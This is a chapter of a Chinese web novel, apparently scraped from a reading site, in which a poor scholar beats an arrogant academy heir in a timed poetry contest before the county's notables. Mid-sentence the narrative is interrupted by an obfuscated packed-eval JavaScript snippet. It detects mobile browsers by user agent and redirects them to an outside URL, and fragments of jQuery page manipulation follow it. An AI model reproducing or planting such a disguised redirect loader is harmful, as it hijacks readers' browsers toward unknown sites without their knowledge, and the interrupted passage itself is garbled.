可惜他不知道的是,今日之后压在他头上的除了林玉堂,又将多一个更难逾越的严丛凛。
“今日县尊大人在此举办文会,受邀者无一不是有真才实学,在这东山县中文名颇盛之人,你这乡下来的穷书生在你们那村学不知谦卑为何物也就罢了,非要来此自取其辱,你既然对自己如此自信,不妨与我比过一场。”
“哦?那唐公子要比什么?如何比?”严丛凛不着痕迹看了眼园子外围,此处距离众人汇聚的前厅并不算远,有好戏怎能不大家一起欣赏呢。
“先说赌注,若是我赢了,你就胸前挂上个牌匾,沿着县里主道上去游街一圈,牌匾上嘛,就写“我是蠢货”,如何?”唐奇山勾起嘴角,得意道。
“好,若是我赢了呢?”
“你赢不了!若是你赢了”唐奇山还未想好,严丛凛已冷冷开口,“若我赢了,你除了游街之外还需给我一百两银。”
“哼,当真是个穷酸出身,张口闭口净是那阿堵物,我便应了你这赌约!”不过一百两银子罢了,他必不可能输。
“不愧是蘅山书院的大少爷,眼也不眨便能拿出百两银子来作赌,在下佩服。”
“少说废话,就赌作诗,你敢应吗?”唐奇山最擅长便是作诗,还不信这乡下小子能赢过他。
“好,不过嘛,鉴于唐公子和你这奴才的品性,咱们这赌约得找个见证人才行,否则若是唐公子输了却不认账,我一小小书生,也拿你莫可奈何。”
严丛凛早知旁边已有来人,话至此时恰好微微提高音量,来人便笑着出声,“果真英雄出少年啊,这般意气风发的模样老夫也是见之心喜,今日你二人的赌约便由老夫来做这个见证人了!”
唐奇山满脸不耐,“你又是哪”,话音未尽便对上父亲怒瞪自己的目光,父亲身边还站着县尊大人,说话的老头站在他二人身前。
以自己父亲及县令大人地位之尊崇,尚且同一干有头有脸的人物一起跟在这说话的老头身后,亦步亦趋,显然以这人为尊,他也不是个蠢到家的,忙应和道,“长者愿作见证那再好不过了。”
唐老院长见着自己儿子这副前倨后恭的模样就来气,堂堂唐家大少爷,无半点胸襟度量,与个乡下学子过不去,便是赢了人家也不光彩,输了更不必说,他的老脸都被丢尽了。
事已至此,只求儿子能赢过去,届时他做主免了这少年赌注也就体面圆过去了,否则,看他回去不家法伺候的。
“还劳前辈出题。”严丛凛朗声道。
“好,那你二人便以''文光射斗''四字为眼,半炷香时间,各续七言绝句,如何?”
“这...好!”唐奇山自信应承。
“来人,焚香,备纸笔。”林远身为文华苑的主人,颇有眼力见的招呼人点燃了线香。
林玉堂饶有兴致的看着那二人斗诗,又见姜知欢跟在严丛凛身后寸步不离,生怕他吃半点亏的模样,好笑的上前想把人拉回来,“姜弟还是随我一旁来观战吧,莫要扰了严兄作诗。”
他都这样说了,姜知欢只得老老实实随他去,结果就发现自己另一只手被人拉住,是严丛凛。
“不打扰。”
严丛凛目光如炬,牢牢锁住她,眼里是她一如既往看不懂的深邃,望见她清澈如水的眸子,不禁低叹出声。
姜知欢僵在原地,仿佛被定住一般脑子浑浑噩噩的动不了分毫。
林玉堂终于看出了点什么,颇为尴尬无奈的松手,“是我多嘴了。”
“严兄,这时间已快过半,你还是抓紧比试吧。”
“不必,我已作出来了。”
松开姜知欢柔软的手,严丛凛环顾一圈,对上刘蕴执戏谑视线时,微微颔首作揖示意,那擅作诗的唐大公子听见他已作出来,心神瞬间大乱。
怎么可能,这才几息,他便得了?
却见那姓严的小子果真提笔,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668248|173023||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片刻便写就。
“剑气飞虹三尺冷,文光射斗九霄寒。
莫道残碑无剑魄,堂前犹带血痕丹。”
“好!好诗!”围观众人交头接耳一番后,纷纷点头,几息时间便能作出这等好诗,这姓严的学生确实天资过人。
“气势磅礴,剑气与文光相应,又暗含忠魂不灭,血性犹存的风骨,严小友果真文采斐然。”这诗太对刘蕴执胃口了,小小年纪便有如此风骨,此子未来不可限量啊。
也有人开始端详起严丛凛的字来,也不知这乡下少年如何练出如此遒劲有力的字来,他们中的许多人都比之不及。
唐奇山一听这诗便漏了怯,莫说他还未续上,便是他续上了,也不会比严丛凛所作这诗更出彩去。灰白着脸垂下脑袋,不敢看父亲那恨不得清理门户的眼神。
瞧着严家哥哥举手投足间的势在必得,从容淡然和在名流面前不卑不亢的风姿,姜知欢暗暗赞叹。又不免将林玉堂与他作比。
严家哥哥的气质介于少年与青年之间,虽面容仍是个少年模样,但却通身气质沉稳,是与同龄人截然不同的成熟气质,这种矛盾又神秘的气质是林哥哥所欠缺的。
综上,还是严家哥哥更甚一筹啊!姜知欢悠悠寻思着。
众人正议论着严丛凛这首诗,姜知欢突然指着唐奇山嗤笑:"唐公子怎的停笔了,莫不是已经作好了?呀!时间已经到了!”同样的声音落在严丛凛耳中是俏皮可爱,落在唐奇山耳中简直可恶可恨。
众人这才发现香已过半,唐奇山还未续出诗来,有好事者不怀好意的瞅了瞅唐院长,“唐公子主动寻人比试,怎的却未战先怯,连对个诗都对不出来呢?”
“孽子!叫你素日不用功念书,还敢在外招摇过市!好叫你知道,什么是人外有人天外有天!”唐院长没好气道,让他在刘大人跟前丢这么大脸,他们书院名声还要不要了?
这小畜生真是生来克他的。